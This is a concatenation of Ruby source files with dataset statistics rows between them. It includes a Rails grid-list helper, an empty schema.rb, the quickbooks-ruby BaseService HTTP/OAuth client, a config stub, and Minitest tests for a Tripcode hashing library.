cellRenderer: 'crossbeamsGridFormatters.menuActionsRenderer' },
{ headerName: 'List file name', field: 'file', width: 300 },
{ headerName: 'DM Query file', field: 'dm_file', width: 300 },
{ headerName: 'Report caption', field: 'caption', width: 300 }]
end
def list_row_def(yml_file, dm_path)
index = File.basename(yml_file).sub(File.extname(yml_file), '')
list_hash = YAML.load(File.read(yml_file)) # rubocop: disable Security/YAMLLoad
dm_file = File.join(dm_path, "#{list_hash[:dataminer_definition]}.yml")
if File.exist?(dm_file)
yp = Crossbeams::Dataminer::YamlPersistor.new(dm_file)
caption = Crossbeams::Dataminer::Report.load(yp).caption
else
caption = 'THERE IS NO MATCHING DM FILE!'
end
{ file: index, dm_file: list_hash[:dataminer_definition], caption: caption }
end
def list_cols
Crossbeams::DataGrid::ColumnDefiner.new.make_columns do |mk|
mk.col :list, 'List', groupable: true, width: 200
mk.col :type, 'Type', groupable: true, width: 100
mk.col :key, 'Key', groupable: true, width: 120
mk.col :query, 'Query', groupable: true
mk.col :caption, 'Caption', width: 200
mk.boolean :tree, 'Tree?', groupable: true
mk.col :conditions, 'Conditions', width: 500
mk.col :url, 'Multiselect save URL', width: 500
mk.col :actions, 'Actions', width: 500
end
end
def load_yml(yml_file) # rubocop:disable Metrics/AbcSize, Metrics/PerceivedComplexity, Metrics/CyclomaticComplexity
list_hash = YAML.load(File.read(yml_file)) # rubocop: disable Security/YAMLLoad
dm_file = File.read(File.join(ENV['ROOT'], '/grid_definitions/dataminer_queries/', "#{list_hash[:dataminer_definition]}.yml"))
dm_hash = YAML.load(dm_file) # rubocop: disable Security/YAMLLoad
rec = { list: File.basename(yml_file).sub(File.extname(yml_file), ''), query: list_hash[:dataminer_definition], tree: list_hash[:tree] ? true : false }
ar = []
dm_caption = dm_hash[:caption]
actions = list_actions(list_hash[:actions])
ar << rec.merge(type: 'base', caption: list_hash.dig(:captions, :grid_caption) || dm_caption, key: nil, conditions: nil, url: nil, actions: actions)
(list_hash[:conditions] || {}).each do |key, _|
where = list_hash[:conditions][key].map { |c| "#{c[:col]} #{c[:op]} #{c[:val]}#{c[:optional] ? ' (OPT)' : ''}" }.join('; ')
ar << rec.merge(type: 'with_params', key: key, conditions: where, caption: list_hash.dig(:captions, :conditions, key) || dm_caption, url: nil, actions: nil)
end
(list_hash[:multiselect] || {}).each do |key, _|
cond_key = list_hash[:multiselect][key][:conditions]
where = (list_hash[:conditions][cond_key.to_sym] || []).map { |c| "#{c[:col]} #{c[:op]} #{c[:val]}#{c[:optional] ? ' (OPT)' : ''}" }.join('; ') if cond_key
ar << rec.merge(type: 'multi', key: key, conditions: where, caption: list_hash[:multiselect][key][:grid_caption] || dm_caption, url: list_hash[:multiselect][key][:url], actions: nil)
end
ar
end
def list_grids
row_defs = []
dm_path = Pathname.new('grid_definitions/dataminer_queries')
ymlfiles = File.join(list_path, '**', '*.yml')
yml_list = Dir.glob(ymlfiles).sort
yml_list.each do |yml_file|
row_defs << list_row_def(yml_file, dm_path)
end
{
columnDefs: list_col_defs,
rowDefs: row_defs
}
end
def list_actions(arr)
return nil if arr.nil?
arr.reject { |a| a[:separator] }.map { |a| a[:submenu] ? a[:submenu][:items] : a }.flatten.map { |a| "#{a[:text]} (#{a[:url]})" }.join(', ')
end
end
end
| 37.580381 | 190 | 0.604553 |
2611543b38587c7569d2c9f7219c59c36408aa74 | 881 | # This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# Note that this schema.rb definition is the authoritative source for your
# database schema. If you need to create the application database on another
# system, you should be using db:schema:load, not running all the migrations
# from scratch. The latter is a flawed and unsustainable approach (the more migrations
# you'll amass, the slower it'll run and the greater likelihood for issues).
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 0) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"
end
| 46.368421 | 86 | 0.790011 |
6ad7357cff061eb0ec854a0ebc5144b7f99df137 | 15,025 | module Quickbooks
module Service
class BaseService
include Quickbooks::Util::Logging
include ServiceCrud
attr_accessor :company_id
attr_accessor :oauth
attr_reader :base_uri
attr_reader :last_response_xml
attr_reader :last_response_intuit_tid
attr_accessor :before_request
attr_accessor :around_request
attr_accessor :after_request
XML_NS = %{xmlns="http://schema.intuit.com/finance/v3"}
HTTP_CONTENT_TYPE = 'application/xml'
HTTP_ACCEPT = 'application/xml'
HTTP_ACCEPT_ENCODING = 'gzip, deflate'
BASE_DOMAIN = 'quickbooks.api.intuit.com'
SANDBOX_DOMAIN = 'sandbox-quickbooks.api.intuit.com'
RequestInfo = Struct.new(:url, :headers, :body, :method)
def initialize(attributes = {})
domain = Quickbooks.sandbox_mode ? SANDBOX_DOMAIN : BASE_DOMAIN
@base_uri = "https://#{domain}/v3/company"
attributes.each {|key, value| public_send("#{key}=", value) }
end
def access_token=(token)
@oauth = token
rebuild_connection!
end
def company_id=(company_id)
@company_id = company_id
end
# realm & company are synonymous
def realm_id=(company_id)
@company_id = company_id
end
# def oauth_v2?
# @oauth.is_a? OAuth2::AccessToken
# end
# [OAuth2] The default Faraday connection does not have gzip or multipart support.
# We need to reset the existing connection and build a new one.
def rebuild_connection!
@oauth.client.connection = nil
@oauth.client.connection.build do |builder|
builder.use :gzip
builder.request :multipart
builder.request :url_encoded
builder.adapter ::Quickbooks.http_adapter
end
end
def url_for_resource(resource)
"#{url_for_base}/#{resource}"
end
def url_for_base
raise MissingRealmError.new unless @company_id
"#{@base_uri}/#{@company_id}"
end
def is_json?
self.class::HTTP_CONTENT_TYPE == "application/json"
end
def is_pdf?
self.class::HTTP_CONTENT_TYPE == "application/pdf"
end
def default_model_query
"SELECT * FROM #{self.class.name.split("::").last}"
end
def url_for_query(query = nil, start_position = 1, max_results = 20, options = {})
query ||= default_model_query
query = "#{query} STARTPOSITION #{start_position} MAXRESULTS #{max_results}"
"#{url_for_base}/query?query=#{CGI.escape(query)}"
end
private
def parse_xml(xml)
@last_response_xml = Nokogiri::XML(xml)
end
def valid_xml_document(xml)
%Q{<?xml version="1.0" encoding="utf-8"?>\n#{xml.strip}}
end
# A single object response is the same as a collection response except
# it just has a single main element
def fetch_object(model, url, params = {})
raise ArgumentError, "missing model to instantiate" if model.nil?
response = do_http_get(url, params)
collection = parse_collection(response, model)
if collection.is_a?(Quickbooks::Collection)
collection.entries.first
else
nil
end
end
def fetch_collection(query, model, options = {})
page = options.fetch(:page, 1)
per_page = options.fetch(:per_page, 20)
start_position = ((page - 1) * per_page) + 1 # page=2, per_page=10 then we want to start at 11
max_results = per_page
response = do_http_get(url_for_query(query, start_position, max_results))
parse_collection(response, model)
end
def parse_collection(response, model)
if response
collection = Quickbooks::Collection.new
xml = @last_response_xml
begin
results = []
query_response = xml.xpath("//xmlns:IntuitResponse/xmlns:QueryResponse")[0]
if query_response
start_pos_attr = query_response.attributes['startPosition']
if start_pos_attr
collection.start_position = start_pos_attr.value.to_i
end
max_results_attr = query_response.attributes['maxResults']
if max_results_attr
collection.max_results = max_results_attr.value.to_i
end
total_count_attr = query_response.attributes['totalCount']
if total_count_attr
collection.total_count = total_count_attr.value.to_i
end
end
path_to_nodes = "//xmlns:IntuitResponse//xmlns:#{model::XML_NODE}"
collection.count = xml.xpath(path_to_nodes).count
if collection.count > 0
xml.xpath(path_to_nodes).each do |xa|
results << model.from_xml(xa)
end
end
collection.entries = results
rescue => ex
raise Quickbooks::IntuitRequestException.new("Error parsing XML: #{ex.message}")
end
collection
else
nil
end
end
# Given an IntuitResponse which is expected to wrap a single
# Entity node, e.g.
# <IntuitResponse xmlns="http://schema.intuit.com/finance/v3" time="2013-11-16T10:26:42.762-08:00">
# <Customer domain="QBO" sparse="false">
# <Id>1</Id>
# ...
# </Customer>
# </IntuitResponse>
def parse_singular_entity_response(model, xml, node_xpath_prefix = nil)
xmldoc = Nokogiri(xml)
prefix = node_xpath_prefix || model::XML_NODE
xmldoc.xpath("//xmlns:IntuitResponse/xmlns:#{prefix}")[0]
end
# A successful delete request returns a XML packet like:
# <IntuitResponse xmlns="http://schema.intuit.com/finance/v3" time="2013-04-23T08:30:33.626-07:00">
# <Payment domain="QBO" status="Deleted">
# <Id>8748</Id>
# </Payment>
# </IntuitResponse>
def parse_singular_entity_response_for_delete(model, xml)
xmldoc = Nokogiri(xml)
xmldoc.xpath("//xmlns:IntuitResponse/xmlns:#{model::XML_NODE}[@status='Deleted']").length == 1
end
def do_http_post(url, body = "", params = {}, headers = {}) # throws IntuitRequestException
url = add_query_string_to_url(url, params)
do_http(:post, url, body, headers)
end
def do_http_get(url, params = {}, headers = {}) # throws IntuitRequestException
url = add_query_string_to_url(url, params)
do_http(:get, url, {}, headers)
end
def do_http_raw_get(url, params = {}, headers = {})
url = add_query_string_to_url(url, params)
unless headers.has_key?('Content-Type')
headers['Content-Type'] = self.class::HTTP_CONTENT_TYPE
end
unless headers.has_key?('Accept')
headers['Accept'] = self.class::HTTP_ACCEPT
end
unless headers.has_key?('Accept-Encoding')
headers['Accept-Encoding'] = HTTP_ACCEPT_ENCODING
end
raw_response = oauth_get(url, headers)
Quickbooks::Service::Responses::OAuthHttpResponse.wrap(raw_response)
end
def do_http_file_upload(uploadIO, url, metadata = nil)
headers = {
'Content-Type' => 'multipart/form-data'
}
body = {}
body['file_content_0'] = uploadIO
if metadata
standalone_prefix = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'
meta_data_xml = "#{standalone_prefix}\n#{metadata.to_xml_ns.to_s}"
param_part = UploadIO.new(StringIO.new(meta_data_xml), "application/xml")
body['file_metadata_0'] = param_part
end
url = add_query_string_to_url(url, {})
do_http(:upload, url, body, headers)
end
def do_http(method, url, body, headers) # throws IntuitRequestException
if @oauth.nil?
raise "OAuth client has not been initialized. Initialize with setter access_token="
end
unless headers.has_key?('Content-Type')
headers['Content-Type'] = self.class::HTTP_CONTENT_TYPE
end
unless headers.has_key?('Accept')
headers['Accept'] = self.class::HTTP_ACCEPT
end
unless headers.has_key?('Accept-Encoding')
headers['Accept-Encoding'] = HTTP_ACCEPT_ENCODING
end
log "------ QUICKBOOKS-RUBY REQUEST ------"
log "METHOD = #{method}"
log "RESOURCE = #{url}"
log_request_body(body)
log "REQUEST HEADERS = #{headers.inspect}"
request_info = RequestInfo.new(url, headers, body, method)
before_request.call(request_info) if before_request
raw_response = with_around_request(request_info) do
case method
when :get
oauth_get(url, headers)
when :post
oauth_post(url, body, headers)
when :upload
oauth_post_with_multipart(url, body, headers)
else
raise "Do not know how to perform that HTTP operation"
end
end
after_request.call(request_info, raw_response.body) if after_request
response = Quickbooks::Service::Responses::OAuthHttpResponse.wrap(raw_response)
log "------ QUICKBOOKS-RUBY RESPONSE ------"
log "RESPONSE CODE = #{response.code}"
log_response_body(response)
if response.respond_to?(:headers)
log "RESPONSE HEADERS = #{response.headers}"
end
check_response(response, request: body)
end
def oauth_get(url, headers)
@oauth.get(url, headers: headers, raise_errors: false)
end
def oauth_post(url, body, headers)
@oauth.post(url, headers: headers, body: body, raise_errors: false)
end
def oauth_post_with_multipart(url, body, headers)
@oauth.post_with_multipart(url, headers: headers, body: body, raise_errors: false)
end
def add_query_string_to_url(url, params = {})
params ||= {}
params['minorversion'] = Quickbooks.minorversion
if params.is_a?(Hash) && !params.empty?
keyvalues = params.collect { |k| "#{k.first}=#{k.last}" }.join("&")
delim = url.index("?") != nil ? "&" : "?"
url + delim + keyvalues
else
url
end
end
def check_response(response, options = {})
if is_json?
parse_json(response.plain_body)
elsif !is_pdf?
parse_xml(response.plain_body)
end
@last_response_intuit_tid = if response.respond_to?(:headers) && response.headers
response.headers['intuit_tid']
else
nil
end
status = response.code.to_i
case status
when 200
# even HTTP 200 can contain an error, so we always have to peek for an Error
if response_is_error?
parse_and_raise_exception(options)
else
response
end
when 302
raise "Unhandled HTTP Redirect"
when 401
raise Quickbooks::AuthorizationFailure, parse_intuit_error
when 403
message = parse_intuit_error[:message]
if message.include?('ThrottleExceeded')
raise Quickbooks::ThrottleExceeded, message
end
raise Quickbooks::Forbidden, message
when 404
raise Quickbooks::NotFound
when 413
raise Quickbooks::RequestTooLarge
when 400, 500
parse_and_raise_exception(options)
when 429
message = parse_intuit_error[:message]
raise Quickbooks::TooManyRequests, message
when 502, 503, 504
raise Quickbooks::ServiceUnavailable
else
raise "HTTP Error Code: #{status}, Msg: #{response.plain_body}"
end
end
def log_response_body(response)
log "RESPONSE BODY:"
if is_json?
log ">>>>#{response.plain_body.inspect}"
elsif is_pdf?
log("BODY is a PDF : not dumping")
else
log(log_xml(response.plain_body))
end
end
def log_request_body(body)
log "REQUEST BODY:"
if is_json?
log(body.inspect)
elsif is_pdf?
log("BODY is a PDF : not dumping")
else
#multipart request for uploads arrive here in a Hash with UploadIO vals
if body.is_a?(Hash)
body.each do |k,v|
log('BODY PART:')
val_content = v.inspect
if v.is_a?(UploadIO)
if v.content_type == 'application/xml'
if v.io.is_a?(StringIO)
val_content = log_xml(v.io.string)
end
end
end
log("#{k}: #{val_content}")
end
else
log(log_xml(body))
end
end
end
def parse_and_raise_exception(options = {})
err = parse_intuit_error
ex = Quickbooks::IntuitRequestException.new("#{err[:message]}:\n\t#{err[:detail]}")
ex.code = err[:code]
ex.detail = err[:detail]
ex.type = err[:type]
if is_json?
ex.request_json = options[:request]
else
ex.request_xml = options[:request]
end
ex.intuit_tid = err[:intuit_tid]
raise ex
end
def response_is_error?
begin
@last_response_xml.xpath("//xmlns:IntuitResponse/xmlns:Fault")[0] != nil
rescue Nokogiri::XML::XPath::SyntaxError => exception
#puts @last_response_xml.to_xml.to_s
#puts "WTF: #{exception.inspect}:#{exception.backtrace.join("\n")}"
true
end
end
def parse_intuit_error
error = {:message => "", :detail => "", :type => nil, :code => 0, :intuit_tid => @last_response_intuit_tid}
fault = @last_response_xml.xpath("//xmlns:IntuitResponse/xmlns:Fault")[0]
if fault
error[:type] = fault.attributes['type'].value
error_element = fault.xpath("//xmlns:Error")[0]
if error_element
code_attr = error_element.attributes['code']
if code_attr
error[:code] = code_attr.value
end
element_attr = error_element.attributes['element']
if element_attr
error[:element] = code_attr.value
end
error[:message] = error_element.xpath("//xmlns:Message").text
error[:detail] = error_element.xpath("//xmlns:Detail").text
end
end
error
rescue Nokogiri::XML::XPath::SyntaxError => exception
error[:detail] = @last_response_xml.to_s
error
end
def with_around_request(request_info, &block)
if around_request
around_request.call(request_info, &block)
else
block.call
end
end
end
end
end
| 32.805677 | 115 | 0.593544 |
2114fd88b5c6bf342d2b67c74b01479fbd05b2a5 | 100 | require 'sfn-parameters'
module Sfn
class Config
class Parameters < Config
end
end
end
| 11.111111 | 29 | 0.7 |
f76ee24a9323e197558c72810375b9aa0ffc6523 | 1,926 | # -*- coding: utf-8 -*-
require 'test_helper'
class TripcodeTest < Minitest::Test
def test_that_it_has_a_version_number
refute_nil ::Tripcode::VERSION
end
def test_nil_passwords
assert_equal '', Tripcode.hash(nil)
assert_equal '', Tripcode.secure(nil)
end
def test_blank_passwords
assert_equal '', Tripcode.hash('')
assert_equal '', Tripcode.secure('')
end
def test_hash_general
assert_equal 'BpZUCmJAIQ', Tripcode.hash('!@#$%^&*')
assert_equal 'WALqTeQmv2', Tripcode.hash('$$')
assert_equal 'LLVegDyAFo', Tripcode.hash('@@')
assert_equal 'RYRu.UCnt.', Tripcode.hash('""')
assert_equal '74O3p/8R3A', Tripcode.hash('\'"')
assert_equal 'c8eDXvwFLQ', Tripcode.hash('訛')
assert_equal 'Ez2xakpO4w', Tripcode.hash('ルビ')
assert_equal 'Qy1ldS1UD.', Tripcode.hash('红宝石')
end
def test_secure_general
assert_equal 'gIkNUlZvepz21nd', Tripcode.secure('!@#$%^&*')
assert_equal '6YFELeXy+hHKkK+', Tripcode.secure('$$')
assert_equal 'a07Y6CsRRT06TbR', Tripcode.secure('@@')
assert_equal 'rTtIRSZbWpvDV7A', Tripcode.secure('""')
assert_equal '9Bo4QF25AoV+Cmv', Tripcode.secure('\'"')
assert_equal 'E++UhjAB7NF9q0m', Tripcode.secure('訛')
assert_equal 'v/J4kNSJHdqGdcp', Tripcode.secure('ルビ')
assert_equal 'G0nBWic9ldnq2yu', Tripcode.secure('红宝石')
end
def test_parse
assert_equal ['', '', ''], Tripcode.parse('')
assert_equal ['', '', ''], Tripcode.parse('####')
assert_equal ['', "Mn5mzn8hAQ", ''], Tripcode.parse('#ruby')
assert_equal ['User', '', 'y65WdWQD6Zze1n3'], Tripcode.parse('User##password')
assert_equal ['User', 'ozOtJW9BFA', ''], Tripcode.parse('User#password')
end
def test_bulk_tripcodes
File.open('./test/tripcodes.txt', 'r') do |f|
f.each_line do |line|
input, output = line.strip.split('!')
assert_equal output, Tripcode.hash(input)
end
end
end
end
| 33.206897 | 82 | 0.663032 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.